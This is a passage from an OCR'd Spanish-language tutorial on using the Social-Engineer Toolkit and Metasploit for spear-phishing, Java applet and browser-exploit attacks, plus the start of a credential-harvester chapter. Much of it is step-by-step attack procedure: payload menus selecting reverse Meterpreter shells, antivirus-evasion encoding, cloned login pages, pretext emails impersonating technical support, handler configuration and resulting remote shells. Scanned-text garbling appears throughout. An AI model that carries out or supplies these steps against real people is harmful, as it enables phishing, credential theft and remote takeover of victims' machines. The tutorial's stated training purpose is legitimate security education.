3. Windows Rewverse WNC DLL Spawn a VNC server on victim and send back to attacker

4. Windows Reverse TCP Shell (x64) Windows ¥B4 Command Shell, Reverse TCP Inline
. Windows Meterpreter Reverse TCP (Xb64) Connect back to the attacker (Windows xb64), Meterprete

. Windows Shell Bind TCP (X64) Execute payload and create an accepting port on remote

system.
7. Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meter

preter

Enter the payload you want (press enter for default): I
Imagen 30 - Lista de tipos de archivo con carga maliciosa a enviar

Para este caso se escoge la opcion 2, que permite Iniciar un Shell meterpreter en la
victima y se envia de nuevo al atacante. Después de esto, se ingresa el puerto necesario
para conectarse con la maquina victima (se usa por defecto el puerto 443 o se ingresa él
que se desee).

Enter the payload you want (press enter for default): 2
Enter the port to connect back on (press enter for detfault):
[*] Defaulting to port 443...
[#] Generating TileTormat exploilt...
[#] Payload creation complete.
[*]1 All payloads get sent to the src/program_junk/template.pdf directory

As an added bonus, use the file-format creator in SET to create your attachment.
Right now the attachment will be imported with filepame of 'template.whatever'
Do you want to rename the file?

example Enter the new filename: moo.pdf

1. Keep the filename, I don't care.
2. Rename the file, I want to be cool.

Enter your choice (enter for default): |j

Imagen 31 — Puerto, opciones de renombre

Después de seleccionar el puerto, SET da 2 opciones, la primera, renombrar el archivo
con carga maliciosa para que la victima no sospeche de la intensiéon del atacante. La
segunda, dejar por defecto el nombre del archivo que crea SET (template.whatever).
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Para este caso se escogid renombrar el archivo ya que como se dijo anteriormente la
victima no tendra sospecha alguna. (Ver imagen 12, parte 1)

Luego de renombrar el archivo, SET pregunta si se desea enviar el ataque a una sola
victima o a una lista de contactos. (Ver imagen 12, parte 2).

Enter your cholce (enter for default): 2
Enter the new filename: prueba.pdf
Filename changed, moving on...

Social Engineer Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would

be to send an email to ome indiwvidual person. The second option
will allow you to import a list and send 1t to as many people as
you want within that list.

What do you want to do:
1. E-Mail Attack Single Email Address

2. E-Mail Attack Mass Mailer
3. Return to main menu.

Enter your choice: I

Imagen 32- Envié unico o multiple del ataque

Se escoge la opcion uno, para enviar el ataque a una sola victima, a continuacion se
debera escoger entre, el contenido predefinido que crea SET para el mensaje o la
creacion de uno por el atacante, teniendo en cuenta que al momento de crearlo se debera
especificar el asunto y contenido del mensaje.

Enter your choice: 1

Do you want to use a predefined template or craft
a one time email template.

1. Pre-Defined Template
2. DOne-Time Use Email Template

Enter your choice: [}

Imagen 33 - opcion de contenido de mensaje predefinido o creado por el usuario

Se ejecutara la opcion uno para enviar el contenido por defecto que genera el SET, luego
se tendra que escoger una de las opciones que da SET para asunto y contenido del
mensaje que se enviara a la victima (Ver imagen 14).

@O0



Guias practicas para uso de técnicas de ingenieria social con la herramienta SET incluida en la
distribucién BackTrack 4 R2

Enter your choice: 1
Below is a list of available templates:

[

Status Report

New Update

LOL...have to check this out...

Strange internet usage from your computer
Dan Brown's Angels & Demons

Baby Pics

Computer Issue

2
i T
4:
5

= Cn

Enter the number you want to use: [

Imagen 34- opciones del asunto del mensaje a enviar

En este punto no hay mucha relevancia con la opcién que se escoja, por esta razon
cualquiera dard lo mismo. Después de escoger el contenido del mensaje, SET da la
opcién de enviar el ataque con una cuenta Gmail y de usar un SMTP. Para este caso se
usara la opcion de la cuenta Gmail en donde se pide el correo de la victima y el correo
(Gmail) con contrasena del atacante (Ver imagen 15).

Enter the number you want to use: 6
Enter who you want to send email to:

What option do you want to use?

2 a GMAIL Account for your email attack.
your own server or open relay

Enter your cholce: 1
Enter your GMAIL email address #=4@gmail.com
Enter your password for gmail (it will not be displayed back to you):

Imagen 35- peticion correo victima y atacante
Ejecucidén en entorno grafico
Para acceder a Spear Phishing en entorno grafico se debe pulsar el hipervinculo que
accede a al submenu del ataque y luego se procedera a seguir los pasos realizados en

linea de comandos pero usando los campos determinados para ello.

Al finalizar el envio, se ejecutara automaticamente un Shell en donde quedara el
Meterpreter de Metasploit a la espera de la conexidn con la maquina victima
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The Social-Engineer Toolkit Web Interface - Mozilla Firefox
File Edit Wiew History Bookmarks Tools Help
s v @ ® 2 [[o|httpy127.0.0.1:44444/phish =[] EE

-

B BackTrack Linux [offensive-Security @] Tiger Security EBExploit Database Wy Aircrack-ng

Spear-Phishing Attack Methods

Plroara s hkin . b Erwd Ach |

Client-Side Attack ¥ector [Mass Email Attack and File Format Payload ONLT]

Done R | @
< D, @ & C % |7_: Termin @ root@l @ The So By % 1 2 =E i
Imagen 36 — Spear Phishing en entorno grafico
TIPS

e Antes de ejecutar set verifique navegabilidad hacia internet

¢ Recuerde que después de ingresar a SET se debe actualizar con las opciones
Update de Metasploit Framework y Update The Social Engineer Toolkit

e Tenga en cuenta que para tener acceso a la maquina victima el archivo con carga
maliciosa se debe estar ejecutando (primer o segundo plano)

e En algunas ocasiones el servidor proxy de la red en donde se encuentre
conectado puede rechazar la conexién para realizar el ataque
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CONCLUSIONES

e Se demostré eficazmente como mediante spear phising un atacante se puede
convertir en duefo de un sistema remoto mediante el envio de un archivo PDF con
una carga maliciosa. Igualmente se concluye q la idea central de este ataque
consiste en manipular un archivo de este tipo y enviarlo a la victima junto con un
correo electronico convincente y asi una vez que la victima abre el archivo, el
exploit se ejecuta y el sistema remoto se compromete.

e La creacion de este ataque se hace mediante un proceso simple de ejecucion de
opciones, pero hay que tener en cuenta que para el funcionamiento adecuado o
exitoso de este, principalmente se debe entender el vector de ataque ya que este
si es un poco complejo y merece de mucha dedicacién para poder entenderlo a la
perfeccion. A demas se pudo observar que es necesario realizar pruebas en
diferentes entornos y desde diferentes maquinas ya que se pueden presentar
problemas con la red o simplemente con el arranque (boot) del live cd.
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GUIA 3 - WEBSITE ATTACK VECTORS

INTRODUCCION

CLONACION DE SITIOS WEB (PHARMING)

Dentro de la infinidad de amenazas a nivel informatico que se descubren a diario, el
fendmeno del Pharming ocupa un lugar privilegiado en el mundo de los ataques. Esto se
debe a su naturaleza intrinseca de robar datos sensibles de las personas que a menudo
caen en sus trampas; lo que la convierte en la técnica orientada al robo de informacion,
mas explotada en la actualidad. Hoy en dia, cualquier usuario, las entidades bancarias y
las financieras de todo el mundo, se han convertido en el objetivo perfecto de muchos
atacantes que usan programas maliciosos para atentar contra la confidencialidad y la
privacidad de los datos sensibles a través del pharming. Esta técnica que es utilizada en
combinacion con el phishing, pero a diferencia de este se basa en la suplantaciéon de un
sitio web y consiste basicamente en manipular direcciones DNS para realizar un re
direccionamiento del nombre de dominio real a una direccion IP diferente a la original, con
el fin de capturar informacion personal, que luego puede utilizarse para cometer fraude y
robo de identidad.

Website Attack Vectors permite ejecutar varios métodos de ataque web, consiste en el
envio de mensajes de correo electronico con enlaces a paginas falsas usadas para
obtener acceso al sistema informatico.

OBJETIVOS

e Explicar detalladamente el vector de ataque de Clonacién de paginas Web con las
opciones: Java Applet Attack Method y Metasploit Browser Exploit Method.

e Identificar las vulnerabilidades que pueden ser explotadas en las maquinas
victimas

e Tomar el control de la maquina victima
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DESCRIPCION

Esta guia tiene como finalidad explicar el vector de ataque® Website Attack, usando 3 de
las opciones posibles para lanzar el ataque, hasta tomar el control de la maquina victima.

CAPITULO 1
Website Attack Vectors — The Java Applet Attack
Vector

El applet de Java es uno de los vectores de ataque central dentro de SET vy tiene la mayor
tasa de éxito para comprometer un sistema. El ataque crea un applet de Java malicioso,
un Certificado con firma personal, que, una vez ejecutado, compromete por completo la
victima. SET permite clonar un sitio web completo y una vez que la victima ha ejecutado
el applet, sera dirigida al sitio original haciendo el ataque mucho mas creible. Este tipo de
ataque afecta a Windows, Linux y OSX, pueden poner en peligro a todos.

En este tipo de ataque especifico, se pueden seleccionar las plantillas de webs
predefinidas (Imagen 39 — opcién 1), o pueden ser importados cualquier sitio web (Imagen
39 — opcion 2).

A. OPCION WEB TEMPLATES

En el menu principal de set, se selecciona la opcién 2 (Website Attack Vectors),

® Pasos para lograr un ataque
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Select from the menu:

=

Spear-Phishing Attack Vectors
Website Attack Vectors
Infectious Media Generator
Create a Payload and Listener
Mass Mailer Attack

Teensy USB HID Attack Vector

LU0 B = R LN )

SMS Spoofing Attack Vector
Wireless Access Point Attack Vector
Third Party Modules
. Update the Metasploit Framework
. Update the Social-Engineer Toolkit
. Help, Credits, and About
. Exit the Social-Engineer Toolkit

Enter your choice: 2

Imagen 37 — Menu Inicial de SET

Después de esto, aparecera el menu de website, acd se escogera la opcion 1 (the java
applet attack vector)

. The Java Applet Attack Method

. The Metasploit Browser Exploit Method
Credential Harvester Attack Method

. Tabnabbing Attack Method

Man Left in the Middle Attack Method
. Web Jacking Attack Method

. Multi-Attack Web Method

Return to the previous menu

Ul L R

6
7

[#=]

Enter your choice (press enter for default): 1

Imagen 38 — Menu de Website Attack Vectors

1. Crea un applet de Java malicioso que, una vez ejecutado, por completo
compromete a la victima y la redirige de nuevo al sitio original.

2. Explota la vulnerabilidad del navegador de la maquina victima

3. En este tipo de ataque, un sitio web se clona, y cuando la victima entra en sus
credenciales de usuario, los nombres de usuario y contrasefias son capturados y
enviados al atacante mientras se direcciona a la pagina real a la victima.

4. Este método se utiliza cuando la victima tiene varias pestanas abiertas.

5. Utiliza Referencias HTTP en un sitio ya comprometido con una vulnerabilidad XSS
para pasar las credenciales al servidor HTTP.

6. Permite crear un clon de pagina web y presenta a la victima con un enlace que
indica que el sitio web se ha movido.
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7. permitird especificar varios métodos de ataque web, con el fin de realizar un solo
ataque.
8. Regrese al menu.

Aparecera un Nuevo menu, en el cual se debe especificar que se desea una plantilla web,
por esta razén se escoge la opcion 1.

[1] Website Attack Vectors [!]

. Web Templates
Site Cloner

Custom Import
Return to mainm menu

Enter number {(1-4): 1

Imagen 39 - plantilla web

Aparecera otro menu en el cual se escoger la opcién 1, que permite crear la apariencia de
necesitar java para ejecutar la pagina falsa.

Select a template to utilize within the web clone attack

Java Required
Gmail

Google
Facebook

. Twitter

Enter the one to use: 1

Imagen 40 - java required

En seguida SET lanzara un certificado de java con requerimientos que se deben llenar
para importarlo a la pagina web. Inicialmente aparece un ejemplo y después la
advertencia de que debe tener instalado el jdk de java.
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what 1s your first and last name?
[Unknown]: prueba

What is the name of your organizational unit?
[Unknownl: prueba

what is the name of your organization?
[Unknown]: prueba

What is the name of your City or Locality?
[Unknown]: orlando

what is the name of your State or Province?
[Unknown]: florida

what is the two-letter country code for this unit?
[Unknown]: us

Is CW=prueba, OU=prueba, O=prueba, L=orlando, ST=florida, C=us correct?
[nol: vy

Warning:
he signer certificate will expire within six months.

Java Applet 1is now signed and will be imported into the website.

Imagen 41 - certificado de requerimientos

Despues, SET lanzara el menu de carga maliciosa, en este caso se escogera la opcion 2
que Inicia un Shell meterpreter en la victima y se renvia de vuelta al atacante.

1. Windows Shell Reverse TCP Spawn a command shell on victim and

send back to attacker.

2. Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victim

and send back to attacker.

3. Windows Reverse TCP WNC DLL Spawn a VNC server on victim and sen
d back to attacker.

4. Windows Bind Shell Execute payload : create an accept
ing port on remote system

5. Windows Bind Shell Windows x64 Command Shell, Bind TCP

Inline

6. Windows Shell Reverse TCP X64 Windows X64-Command Shell, Rewverse T
CP Inline

7. Windows Meterpreter Reverse TCP X64 Connect back to the attacker (Window
s x64), Meterpreter

8. Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a
port home wvia multiple ports

9. Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using
SSL and use Meterpreter

18. Windows Meterpreter Reverse DNS Use a hostname instead of am IP addr
ess and spawn Meterpreter

11. SET Custom Written Interactive Shell This is the new custom interactive r
everse shell designed for SET

12. RATTE HTTP Tunneling Payload This is a security bypass payload th
at will tunnel all comms over HTTP

13. Import your own executable Specify a path for your own executab
le

Enter choice (hit enter for default): 2

Imagen 42 — Menu carga maliciosa
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A continuacion se debe elegir una de las opciones de codificacion para eludir a la victima,
en este caso se escogera la mejor (backdoored executable) que es la opcion 16.

Select one of the below, 'backdoored executable' is typically the best.

[

avoid utfs tolower (Normal)
shikata ga_nai (Very Good)
alpha_mixed (Normal)
alpha_upper (Normal)

calld4 dword xor (Mormal)
countdown (Mormal)

fnstenv mov (Mormal)
jmp_call_additive (Normal)
9. nonalpha (Normal)

18. nonupper (Mormal)

11. unicode mixed (Normal)

12. unicode upper (Normal)

13. alphaz (Normal)

14. No Encoding (MNone)

15. Multi-Enceder (Excellent)
16. Backdoored Executable (BEST)

[ RN =S PV N )

00 =l oh

Enter your choice (enter for default): 16
[-] Enter the PORT of the listener (enter for default):

Imagen 43 — Codificaciones para eludir

En seguida, aparecera una opcion que permite ejecutar el ataque en linux, pero para esta
prueba se especificara que no, depues de esto saldra la aprovacion del ataque.

[-] Encoding the payload 4 times to get around pesky Anti-Virus. [-]
[-]1 No encoders succeeded.

Do you want to create a Linux/0SX reverse tcp payload
in the Java Applet attack as

Enter choice yes or no: no

[*] Cloning the website: http://192.168.226.132
[#] This could take a little bit...

Web Server Launched. Welcome to the SET Web Attack.

Imagen 44 — Aprobacion de ataque
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El siguiente paso es especificar el correo electronico de la victima y despues el del
atacante con su contrasefia.

What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
3. Return to main menu.

Enter your choice: 1
Enter who you want to send email to: vicctima@gmail.com

What option deo you want to use?

1. Use a GMAIL Account for your email attack.
2. Use your own server or open relay

Enter your choice: 1
Enter your GMAIL email address: luhdnd@gmail.com
Enter your password for gmail (it will not be displayed back to you):

Do you want to flag this message/s as high priority? yes or no: no

Imagen 45 - especificacion correo victima / atacante

Despues se procede a crear el mensaje q sera enviado a la victima, especificando el
asunto del mensaje, el cuerpo, sin olvidar el enlace de la direccion IP que redireccionara a
la pagina falsa.
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Enter the subject of the email: Informatien

distribucion BackTrack 4 R2

Do you want to send the message as html or plain?

1. HTML
2. Plain

Enter your choice {enter for plain): 1

body of the message, hit return for a new line.

body and enter control+c when you are finished: Favor ingresar a la siguiente pagina h

92.168.226.132 Gracias
of the body: Att: Soporte tecnico
of the body: ~C

* WARNING:

Database support has been disabled

Imagen 46 — Creacion mensaje falso

Despues de escribir el mensaje, SET arroja la caneccion con metasplot.

pentest/exploits/SET - Shell - Konsole

Session Edit View Bookmarks Settings Help

[ 684 exploits - 355 auxiliary - 39 post
[ 217 payleads - 27 encoders - 8 nops
svn rl2537 updated 6 days ago (2011.05.04)

resource (src/program junk/meta config)= use
resource (src/program_junk/meta config)> set
_tecp

PAYLOA vindows/meterpreter/reverse_tcp

resource (src/program_junk/meta config)> set

LHOST =:
resource (src/
LPORT => 443
resource (src/program_junk/meta config)> set
ExitOnSession false

0.0.0.0
program junk/meta config)= set

Started reverse handler on 0.0.0.0:443
Starting the payload handler...
sending stage (749056 bytes) to 192.16

t Tue May 10 81:24:88 -0500 2011

exploit/multi/handler

PAYLOAD windows/meterpreter/reverse
LHOST 0.6.0.0

LPORT 443

ExitOnSession false

Imagen 47 — Conexion a Metasploit
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Ahora la victima tendra que abrir su correo electronico y caer en la trampa de ejecutar la
pagina fraudulenta.

Information Recibides |x

de luhdndi@gmail.com
para B vicctima@gmail.com
fecha 12 de mayo de 2011 01:22
asunto  Information
erviado por  gmail.com
firmado por  gmail.com

Favor ingresar a la siguiente pagina http://192.166.226.132 Gracias Att: Soporte tecnico

Imagen 48 — mensaje en elcorreo victima
Cuando ha dado click en el enlace, se abrira una nueva ventana, solicitando la ejecucion

de una aplicacién de java, al momento de correr la aplicacion, el atacante ya tendra
control total de la maquina victima.

ava Required - Windows Internet Explorer

ey |&] riepeii192. 168,226,132/ o Li h |[2]-]
Filz= Edit “iew Favorites  Tools  Help
<y Favorites | <5 [0 Warning - Security D_(l
. = [ == = ] »
| & Java Required The application’s digital signature cannot be verified, fety ~ Tools + @@~
" Do you want to run the application? =
Java REMEd! Mame: Secure Java Applet ]
Publisher:  UMKMOWN
Home =
From: http:/f192. 168,226,132
. Alweays brust content From this publisher J
Welcome to the wely g b signed Java box
that pops up is acceg Fun
== This application will run with unrestricted access which may put [y
w your personal information at risk, Run this application only if yvou More Information, .
trust the publisher, = |

TITT Lo = 2 e 4

1. A pop-up box will prompt, please hit "Yes". This mav take a few moments.
2. This pop-up is signed through the Microsoft Corporation and will provide
vou with necessary updates to view the site.

Welcome to the site! This site requires Java 3. Once vou have accepted, wait about 10 to 15 seconds and the page will

in order to run properly. load.
W sk it el "R i s el irniinid. Teomin ssiirninianmink B Wl mesindl o

Dore €D mternet 3 1 ®iown -

i

-"; start /= Gmail - InFarmation - ..., "\ Java Required - Wind... £ Control Panel
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Imagen 49 - pagina solicitando aplicacion de java

El atacante podra tener acceso remoto a la maquina victima por medio de un shell.

meterpreter = shell

Process 240 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Lu\Desktop=>

Imagen 50 — shell remoto

B. OPCION SITE CLONER

Como en el ataque anterior se escoge en el menu inicial de SET, la opcién 2 de website
attack vector (ver imagen 37)

Después en el siguiente menu, se escoge la opcion 1 (the java applet attack method) ver
imagen 38.

A diferencia del ataque anterior, este se realizara con la opcion 2 (site cloner), que
permitira clonarla pagina deseada para de esta forma hacer mas creible el ataque.

[1] Website Attack Vectors [!']

. Web Templates
. Site Cloner

. Custom Import
4. Return to main menu

Enter number (1-4): 2

Imagen 51 — Plantilla Website Cloner

Apareceran los requerimientos del certificado que solicita java y en seguida la solicitud de
la pagina que se desea clonar.
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What 1s your first and last name?
[Unknown]: pruebd

What is the name of your organizational unit?
[Unknown]: prueb4

What is the name of your organization?
[Unknown]: prueb4

What 1s the name of your City or Locality?
[Unknown]: toronto

What is the name of your State or Province?
[Unknownl: canada

What 1s the two-letter country code for this unit?
[Unknown]: ca

Is CN=pruebd4, OU=pruebd4, O=prueb4, L=toronto, ST=canada, C=ca correct?
[nol: vy

Warning:
The signer certificate will expire within six months.

Java Applet is now signed and will be imported into the website.

SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
Enter the url to clone: http://mail.m2w.com.co

[#] Cloning the website: http://mail.m2w.com.co
[*] This could take a little bit...

Imagen 52 - certificado y especificacion URL

Después de que SET realiza la clonacion de la pagina especificada, aparecera la lista de
carga maliciosa que se quiere usar para el ataque, en este caso se usara la 2 que
devolvera un Shell remoto al atacante. (Ver imagen 42)

Aparecera la lista de codificaciones para eludir a la victima, en este caso, como en el
anterior se escogera la mejor opcién (backdoored executable) ver imagen 43.

Como en todos los casos, SET pregunta si el ataque se enviara a Linux, pero se le indica
qgue no y en ese momento lanza la verificacion del ataque. (Ver imagen 44)

En seguida se procede a indicar los correos electronicos de la victima y del atacante.
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What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
3.

Return to main menu.

Enter your choice: 1
Enter who you want to send email to: vicctima@gmail.com

What option do you want to use?

1. Use a GMAIL Account for your email attack.
2. Use your own server or open relay

Enter your choice: 1
Enter your GMAIL email address: luh4nd4@gmail.com

Enter your password for gmail (it will not be displayed back to you):

Do you want to flag this message/s as high priority? yes or no: no

Imagen 53 — correos

Seguido a esto se procede a crear el mensaje que se le enviara a la victima, teniendo en
cuenta como en todos los casos que se debe especificar el enlace de la ip que re
direccionara a la pagina fraudulenta.

Enter the subject of the email: Informaciion

Do you want to send the message as html or plain?

1. HTML
2. Plain

nter your choice (enter for plain): 1
nter the body of the message, hit return for a new line.

- |

ontrolsc when you are finished: Faver ingrese a la siguiente pagina vy
192 .1658.2206.,132

5
Equipo de soporte tecnico

* WARNING: Database support has been disabled

Imagen 54 — creacion mensaje
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La victima recibira el correo, y debera dar click en el enlace con la ip.

Informaciion Recibidos |x

de luh4nd@gmail.com : : 02:51 (Hace 35 minutos)
para @vicctima@gmail.com
12 de mayo de 2011 02:51
Infarmaciion
gmail.com
gmail.com

Favor ingrese a la siguiente pagina y confirme sus datos http-//192 168 226 132 Gracias Att: Equipo de soporte tecnico

Imagen 55 — correo victima

Cuando esto sucede, se ejecuta la pagina falsa con una alerta que indica la descarga de
una aplicacién de java. Al momento de correr la aplicacion se enviara de vuelta al
atacante el informe de que ya esta dentro de la maquina victima.
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-

e s — - [5]x)
= ; ; : =y
Kaey - 8 192,168,226.,132 v || || x| A L~

e Favorites | 9 - g] =
T o 5N = = b
25 = |1 Gmail - Informaciion - vicckin... | &2 M2w.com.co X - R | @mn v Page~ Safety ~ Tooks - @@~
= ot
¥ Warning - Security >
Mal N - A
: The application's digital signature cannot be verified. Y
b Do you want to run the application?
Sign in to youn MName: Secure Java Applet
M2w.co
i Publisher:  UNKNOWN
Username
T From: httpe 192, 168,226,132
Password: [ [] &ilwarys brusk content From this publisher
[ Stay sig Run ] [ CanceIJ nd
Sign ir
[—g—1  This application will run with urrestricted access which may put
5 \ f | infarmation at risk, Run this application onby iF you Mare Information...
Can't access v R el PP by iF
SR L trust the publisher,
Mew! One-stop information sharing with Google Sites
Building a site is as simple as editing a document, and you don't
need anyone's help to get started b
Done €D Internet fa - ®100% ~

4.00m, oo - Winda. . rwl-' Control Panel

Imagen 56 — solicitud aplicacion java en pagina clonada

El atacante recibira la coneccion con Metasploit (ver imagen 47)
Y con una serie de comandos tendra el control de ella con un Shell remoto.
Starting interaction with 1...

meterpreter = shell

Process 4088 created.

Channel 1 created.

Microsoft Windows XP [Versionm 5.1.2608]
(C) Copyright 1985-26801 Microsoft Corp.

C:\Documents and Settings\Lu\Desktop=|]
Imagen 57 — Control Shell Remoto
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CAPITULO 2
Website Attack Vectors — The Metasploit Browser
Exploit Method

Este ataque utiliza las vulnerabilidades del navegador para explotarlas. Metasploit a
través de un iframe permite insertar una pagina web dentro de otra principal y entrega a la
victima una carga util de Metasploit.

Metasploit ofrece la posibilidad de lanzar Exploits de acuerdo a la version del navegador
que la victima este utilizando, es decir que si el usuario usa Firefox como su explorador
predeterminado no debe tener en cuenta al momento de ejecutar el ataque, Exploits para
Internet Explorer.

Para esta prueba se ejecutara el exploit 19.Microsoft Internet Explorer Explorer Data
Binding Corruption (MS08-078), que permitira un atacante remoto ejecutar cddigo
arbitrario en el sistema, esto causado por un error relacionado con el enlace de datos al
analizar una pagina Web.

Para ejecutarlo, se debe seleccionar la opcion 2 (Website Attack Vectors), en el menu
principal de SET. (Ver imagen 37)

Seguido a esto aparece un submenu que tiene 8 opciones (ver imagen 38)

Para este caso se usara la opcion 2, donde se escogera igualmente la opcion 2 que
permite la clonacién de algun sitio. Luego, se ingresa la direccion web a clonar.
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[1] Website Attack Vectors [!]

Web Templates

Site Cloner

Custom Import
Return to main menu

Enter number (1-4): 2
SET supports both HTTP and HTTPS

Example: http://www.thisisafakesite.com
Enter the url to clone: http://mail.m2w.com.co

Imagen 58 - Site Cloner y URL

Seguido a esto se desplegaran las opciones del exploit que se desea lanzar, en este caso
se escogera la opcién 19. (Ver Anexo 1)

root@bt: /pentest/exploits/SET - Shell - Konsole
Session Edit View Bookmarks Settings Help

Enter the browser expleoit you would like to use

[

Adobe Flash Player 10.2.153.1 SWF Memory Corruption Wulnerability
Internet Explorer CSS Import Use After Free
Microseft WMI Administration Tools ActiveX Buffer Overflow
Internet Explorer CSS Tags Memory Corruption
Sun Java Applet2ClassLoader Remote Code Execution
Sun Java Runtime New Plugin docbase Buffer Overflow
Microsoft Windows WebDAW Application DLL Hijacker
Adobe Flash Player AVM Bytecode Verification Vulnerability
. Adobe Shoc ve rcsL Memory Corruption Exploit
. Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow
. Apple QuickTime 7.6.7 Marshaled pUnk Code Execution
. Microsoft Help Center X55 and Command Execution (MS510-042)
. Microsoft Internet E: iepeers.dll Use After Free (M518-818)
4. Microsoft Internet Tabular Data Control Exploit (M518-018)
. Microsoft Internet Ex "Aurora" Memory Corruption (MS1@-682)
6. Microsoft Internet 7 Uninitialized Memory Corruption (MSG9-802)
. Microsoft Internet Ex Style getElementsbyTagName Corruption (MS@9-872)
. Microsoft Internet isComponentInstalled Overflow
. Microsoft Internet Ex Explorer Data Binding Corruption (MSG8-078)
. Microsoft Internet Unsafe Scripting Misconfiguration
. FireFox 3.5 escape Return Value Memory Corruption
. Metasploit Browser Autopwn (USE AT OWN RISK!)

TS

Enter your choice (1-21) (enter for default): 19
What payload do you want to generate:

& Shell

Imagen 59 - Listado de Exploits
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Enseguida aparecera el menu que contiene las opciones de carga maliciosa (Ver imagen
42) Para este caso se escoge la opcion por defecto del programa, que permite Iniciar un
Shell Meterpreter en la victima y ser enviada al atacante.

Aparecera la verificacion de clonacion de la pagina especificada, debe tenerse en cuenta
gue no debe aparecer ningun error junto con esta verificacion. (Ver imagen 44)

Luego SET pregunta si se desea enviar el ataque a una sola victima o a una lista de
contactos. Para este caso, Se escogio la opcién uno.
What do you want to do:
E-Mail Attack Single Email Address
(=

Mail Attack Mass Maller
Return to main menu.

1.
2.
3

Enter your choice: 1
Enter who you want to send email to: vicctima@gmail.com

Imagen 60 — Envio del ataque por correo electrénico

Luego, aparece la opcién para enviar el ataque con una cuenta Gmail o con el uso de un
servidor SMTP. Para este caso se usara la opcion de la cuenta Gmail en donde se pide el
correo del atacante con contrasefia y se debe especificar si se le da o no prioridad al
mensaje.

What option do you want to use?

1. Use a GMAIL Account for your email attack.
2. Use your own server or open relay

Enter your choice: 1
Enter your GMAIL email address: luhdnd@gmail.com
Enter your password for gmail (it will not be displayed back to you):

Do you want to flag this message/s as high priority? yes or no: no

Imagen 61 — Informacion cuenta de correo electrénico del atacante

Ya en este punto solo queda magquillar el ataque, SET pide los datos que se enviaran a la
victima, el asunto del mensaje, el cuerpo del mensaje donde se debe especificar la
direccion IP del atacante para q sirva de anzuelo y re direccione a la pagina falsa,
después de ingresar el texto a enviar se digita ctrl+c.
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Enter the subject of the email: Infoormacion
Do you want to send the message as html or plain?

HTML
2. Plain

Enter your choice (enter for plainj: 1
Enter the body of the message, hit return for a new Lline.

Type your body and enter control+c when you are finished: Buena tardes ... Se in
forma gue se ha cambiao 1a forma de acceder a la cuenta de correo institucional,
ahora deben ingresar usando la siguiente direccion http://192.168.226.132

Mext line of the body: Gracias por la atencion prestada

Next line of the body: cualgquier inquietud o inconveniente favor comunicarse con
el equipo de soporte tecnico

Mext line of the bﬂdy: ~C

Imagen 62 — Cuerpo del mensaje a enviar

Ya el ataque ha sido enviado a la victima, en este punto solo queda esperar que se
ejecute el anzuelo. Para esto, la victima tendra que dar click en el enlace del mensaje del
correo electronico.
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p’.:; Gmail - Infoormacion - vicctima@gmail.com - Windows Internet Explorer

) i [+ 9 databindi -
@ ey - |M https google.com "l Qﬂ + | A | |& databinding | L2
File Edit Yiew Favorites Tools Help
ﬁFavorites {5 ﬂ - &l -
1 >
[*4] Gmail - Infoormacion - vicckima@amai, com M~ B v =] d=m v Page~ safety~ Tooks- (@)~
Correo - P - ~
Tube cutter - TECO tube expanders company Tube Installation & Remoy Acerca de esios anuncios < » &
Contactos
Tareas « Volver a Recibidos | Archivar = Marcar como spam | Eliminar Maveraw | Efiquetas
Mas acciones w
Redactar L.
— 1 de 24 Siguiente »
Recibidos (2)
Buzz ® Infoormacion Recibicos |x [ Ventana nueva
Imprimir todo
Destacados 3¢ luh4nd 15:24 (hace 3 horas) | 4 Responder | v
Enviados . . Anuncios 0
Buena tardes ... Se informa que se ha cambiao la forma de acceder a
Borradores (1) ; ) )
la cuenta de cojee deben ingresar usando la Bridge Saw .Edge Polist
Personal siguiente direccjon hittp://192.168.226 1132 Gracias por la atencion reliable and goed quality ma
Viaie prestada cualquier inguietud o inconveniente favor comunicarse con el Ask about Sazso and get th
] EqUipU de SDpDI‘tE tECﬂiCD W Sassomeccanica. itf
6 masv
Rothenberger USA
Chat | [= Pipe Toolz, Threading, Bend
© Responder = Reemviar & Invitar a luhdnd@gmail.com a chatear | 2% Puling, Discount Price
Buscar, afiadir o invitar i cscindustrial. com
@ vic tima Mining Tools
— . _ CAD systems, Pandatex cu %
< I >
€ Internet v Hiowm -

‘4 start

Imagen 63 — Mensaje de correo electrénico en la victima

Cuando la victima ingrese al enlace en el mensaje se abrira la pagina clonada.
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_/j M2w.com.co - Windows Internet Explorer

File Edit Wiew Favorites Tools  Help
‘:f Favarites g,;. D - £] -

(& Wzw.com.co ]’?ﬂ A | Y o=y - Page - Safety -~ Tools - @Jv

Gmail ’

Welcome to M2w.com.co

»

Less spam, plenty of space and access from anywhere.
Sign in to your account at
M2w.com.co Welcome to your email for M2w.com.co. powered by Google, where
email is more intuitive, efficient and useful.

Usemname:
@ma2w.com.co + Keep unwanted messages out of your inbox with Goagle's
Password: powerful spam blocking technology
[] Stay signed in * Keep any message you might need down the road, and then find
it fast with Google search

+ Send mail, read new messages and search your archives

Can't access your account? instantly from your phone

MNew! One-stop information sharing with Google Sites

Building a site is as simple as editing a document, and you don't

need anyone's help to get started.

Check out these example sites: Company intranet, Team project, b

i - o -| @ -
Mew Tab - Windows Inkernet Explorer Intermet v |, 100%:

.‘-’ start F /,; Grail - Infoormacian ...

Imagen 64 — Pagina Clonada

CAPITULO 3
Website Attack Vectors - Credential Harvester
Attack Method

La ejecucion de este ataque con la opcion Credential Harvester Attack Method permite
enviar una pagina fraudulenta por correo electrénico que al momento de ser ejecutada por
la victima capturara los datos que esta ingrese en el momento de realizar un proceso de
autenticacion retornando un error en la digitacion y siendo redireccionando a la pagina
real.

Inicialmente, Se debe ejecutar SET, escoger la opcion 2 Website Attack Vectors y la
opcion 3 Credential Harvester Attack Method (ver imagen menu website)

SET mostrara un menu con 4 opciones, de las cuales se escogera la 2 que permite
clonar paginas, a su vez se debe especificar la URL de la pagina que se desea clonar.
(Ver imagen 39)

Después de esto, SET tarda unos segundos mientras clona la pagina, pide los datos
necesarios para el envio del ataque por medio de un mensaje de correo electrénico
